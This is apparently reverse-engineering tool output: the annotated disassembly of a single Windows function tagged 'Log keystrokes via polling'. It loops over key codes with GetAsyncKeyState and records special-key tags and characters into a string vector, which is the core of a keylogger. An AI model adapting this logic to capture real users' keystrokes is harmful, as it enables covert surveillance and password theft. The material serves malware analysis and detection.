Function at 0x140002ec4
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x708
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x6a0], rcx
mov qword [rbp + 0x6a8], rdx
mov rax, qword [rbp + 0x6a0]
movzx eax, byte [rax + 0xa9]
test al, al
jne 0x140003cd6
mov byte [rbp + 0x67f], 8
movsx eax, byte [rbp + 0x67f]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x140003891
cmp byte [rbp + 0x67f], 1
jne 0x140002f81
lea rax, [rbp - 0x31]
mov qword [rbp + 0x670], rax
nop
nop
lea rdx, [rbp - 0x31]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str._LMB_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x31]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 2
jne 0x140002fe1
lea rax, [rbp - 1]
mov qword [rbp + 0x668], rax
nop
nop
lea rdx, [rbp - 1]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str._RMB_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 1]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0xd
jne 0x14000303e
lea rax, [rbp + 0x2f]
mov qword [rbp + 0x660], rax
nop
nop
lea rdx, [rbp + 0x2f]
mov rax, rbp
mov r8, rdx
lea rdx, str._ENTER_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
mov rdx, rbp
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x20
jne 0x14000309e
lea rax, [rbp + 0x5f]
mov qword [rbp + 0x658], rax
nop
nop
lea rdx, [rbp + 0x5f]
lea rax, [rbp + 0x30]
mov r8, rdx
lea rdx, str._SPACE_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x30]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 9
jne 0x140003107
lea rax, [rbp + 0x8f]
mov qword [rbp + 0x650], rax
nop
nop
lea rdx, [rbp + 0x8f]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str._TAB_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x10
jne 0x140003179
lea rax, [rbp + 0xbf]
mov qword [rbp + 0x648], rax
nop
nop
lea rdx, [rbp + 0xbf]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str._SHIFT_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xbf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 8
jne 0x1400031eb
lea rax, [rbp + 0xef]
mov qword [rbp + 0x640], rax
nop
nop
lea rdx, [rbp + 0xef]
lea rax, [rbp + 0xc0]
mov r8, rdx
lea rdx, str._BACKSPACE_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xef]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x11
jne 0x14000325d
lea rax, [rbp + 0x11f]
mov qword [rbp + 0x638], rax
nop
nop
lea rdx, [rbp + 0x11f]
lea rax, [rbp + 0xf0]
mov r8, rdx
lea rdx, str._CTRL_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x11f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x1b
jne 0x1400032cf
lea rax, [rbp + 0x14f]
mov qword [rbp + 0x630], rax
nop
nop
lea rdx, [rbp + 0x14f]
lea rax, [rbp + 0x120]
mov r8, rdx
lea rdx, str._ESC_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x14f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x2e
jne 0x140003341
lea rax, [rbp + 0x17f]
mov qword [rbp + 0x628], rax
nop
nop
lea rdx, [rbp + 0x17f]
lea rax, [rbp + 0x150]
mov r8, rdx
lea rdx, str._DEL_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x150]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x14
jne 0x1400033b3
lea rax, [rbp + 0x1af]
mov qword [rbp + 0x620], rax
nop
nop
lea rdx, [rbp + 0x1af]
lea rax, [rbp + 0x180]
mov r8, rdx
lea rdx, str._CAPSLOCK_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x180]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1af]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x23
jne 0x140003425
lea rax, [rbp + 0x1df]
mov qword [rbp + 0x618], rax
nop
nop
lea rdx, [rbp + 0x1df]
lea rax, [rbp + 0x1b0]
mov r8, rdx
lea rdx, str._END_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1df]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x24
jne 0x140003497
lea rax, [rbp + 0x20f]
mov qword [rbp + 0x610], rax
nop
nop
lea rdx, [rbp + 0x20f]
lea rax, [rbp + 0x1e0]
mov r8, rdx
lea rdx, str._HOME_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x1e0]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x25
jne 0x140003509
lea rax, [rbp + 0x23f]
mov qword [rbp + 0x608], rax
nop
nop
lea rdx, [rbp + 0x23f]
lea rax, [rbp + 0x210]
mov r8, rdx
lea rdx, str._LEFT_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x210]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x23f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x26
jne 0x14000357b
lea rax, [rbp + 0x26f]
mov qword [rbp + 0x600], rax
nop
nop
lea rdx, [rbp + 0x26f]
lea rax, [rbp + 0x240]
mov r8, rdx
lea rdx, str._UP_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x240]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x240]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x26f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x27
jne 0x1400035ed
lea rax, [rbp + 0x29f]
mov qword [rbp + 0x5f8], rax
nop
nop
lea rdx, [rbp + 0x29f]
lea rax, [rbp + 0x270]
mov r8, rdx
lea rdx, str._RIGHT_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x270]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x29f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x28
jne 0x14000365f
lea rax, [rbp + 0x2cf]
mov qword [rbp + 0x5f0], rax
nop
nop
lea rdx, [rbp + 0x2cf]
lea rax, [rbp + 0x2a0]
mov r8, rdx
lea rdx, str._DOWN_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x2a0]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x2a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2cf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x21
jne 0x1400036d1
lea rax, [rbp + 0x2ff]
mov qword [rbp + 0x5e8], rax
nop
nop
lea rdx, [rbp + 0x2ff]
lea rax, [rbp + 0x2d0]
mov r8, rdx
lea rdx, str._PAGE_UP_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x2d0]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ff]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x22
jne 0x140003743
lea rax, [rbp + 0x32f]
mov qword [rbp + 0x5e0], rax
nop
nop
lea rdx, [rbp + 0x32f]
lea rax, [rbp + 0x300]
mov r8, rdx
lea rdx, str._PAGE_DOWN_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x300]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x32f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x2c
jne 0x1400037b5
lea rax, [rbp + 0x35f]
mov qword [rbp + 0x5d8], rax
nop
nop
lea rdx, [rbp + 0x35f]
lea rax, [rbp + 0x330]
mov r8, rdx
lea rdx, str._PRTSC_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x35f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
cmp byte [rbp + 0x67f], 0x5b
jne 0x140003824
lea rax, [rbp + 0x38f]
mov qword [rbp + 0x5d0], rax
nop
nop
lea rdx, [rbp + 0x38f]
lea rax, [rbp + 0x360]
mov r8, rdx
lea rdx, str._WIN_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x360]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x38f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140003891
lea rax, [rbp + 0x5c7]
mov qword [rbp + 0x5c8], rax
nop
nop
movsx edx, byte [rbp + 0x67f]
lea rcx, [rbp + 0x5c7]
lea rax, [rbp + 0x5a0]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
lea rdx, [rbp + 0x5a0]
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
lea rax, [rbp + 0x5a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5c7]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
movzx eax, byte [rbp + 0x67f]
add eax, 1
mov byte [rbp + 0x67f], al
jmp 0x140002f00
nop
add rsp, 0x708
pop rbx
pop rbp
ret